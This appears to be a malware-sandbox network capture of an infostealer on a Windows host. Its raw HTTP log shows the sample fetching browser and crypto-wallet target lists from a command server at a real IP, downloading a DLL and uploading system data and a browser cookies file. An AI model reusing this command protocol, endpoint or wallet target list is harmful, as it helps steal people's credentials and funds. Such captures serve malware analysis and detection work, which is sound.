Nov 12, 2024 08:30:09.703223944 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 55 34 4d 7a 6b 30 4d 32 56 68 59 7a 63 34 4e 6d 4a 6a 4e 57 45 33 5a 47 45 78 4e 6d 4d 32 59 7a 6b 78 4d 44 45 7a 59 32 46 68 4f 44 6c 68 59 32 4d 78 4d 32 46 69 5a 54 63 79 4f 54 55 35 4d 57 49 7a 4d 7a 45 31 59 7a 63 35 5a 57 4a 69 4f 44 63 7a 5a 6d 4d 78 5a 54 6b 32 59 57 45 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODU4Mzk0M2VhYzc4NmJjNWE3ZGExNmM2YzkxMDEzY2FhODlhY2MxM2FiZTcyOTU5MWIzMzE1Yzc5ZWJiODczZmMxZTk2YWE3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 12, 2024 08:30:09.704539061 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAEC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"browsers------EHIJDHCAKKFCBGCBAAEC--
Nov 12, 2024 08:30:09.987809896 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 12, 2024 08:30:09.987951040 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 12, 2024 08:30:09.990180969 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 2d 2d 0d 0a Data Ascii: ------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="message"plugins------GCFBAKKJDBKJJJKFHDAE--
Nov 12, 2024 08:30:10.273602009 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 12, 2024 08:30:10.273713112 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 12, 2024 08:30:10.273725986 CET	424	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 12, 2024 08:30:10.274173021 CET	1236	IN	Data Raw: 61 6d 39 75 59 6d 5a 69 5a 32 46 76 59 33 77 78 66 44 42 38 4d 48 78 48 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 Data Ascii: am9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWl
Nov 12, 2024 08:30:10.274187088 CET	1236	IN	Data Raw: 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 Data Ascii: Z2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV
Nov 12, 2024 08:30:10.274729013 CET	24	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 Data Ascii: IFdhbGxldHxoYmJnYmVwaGdv
Nov 12, 2024 08:30:10.274801970 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 12, 2024 08:30:10.274815083 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Nov 12, 2024 08:30:10.277940989 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 2d 2d 0d 0a Data Ascii: ------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="message"fplugins------IEBFHCAKFBGDHIDHIDBK--
Nov 12, 2024 08:30:10.560594082 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 12, 2024 08:30:10.576040983 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH Host: 185.215.113.206 Content-Length: 5599 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 08:30:10.576095104 CET	5599	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 12, 2024 08:30:11.375933886 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 08:30:11.645955086 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 08:30:11.971115112 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 12, 2024 08:30:11.971216917 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49738	185.215.113.206	80	2928	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:30:23.345438957 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJJKKJJDAAAAAKFHJJD--
Nov 12, 2024 08:30:24.756242037 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
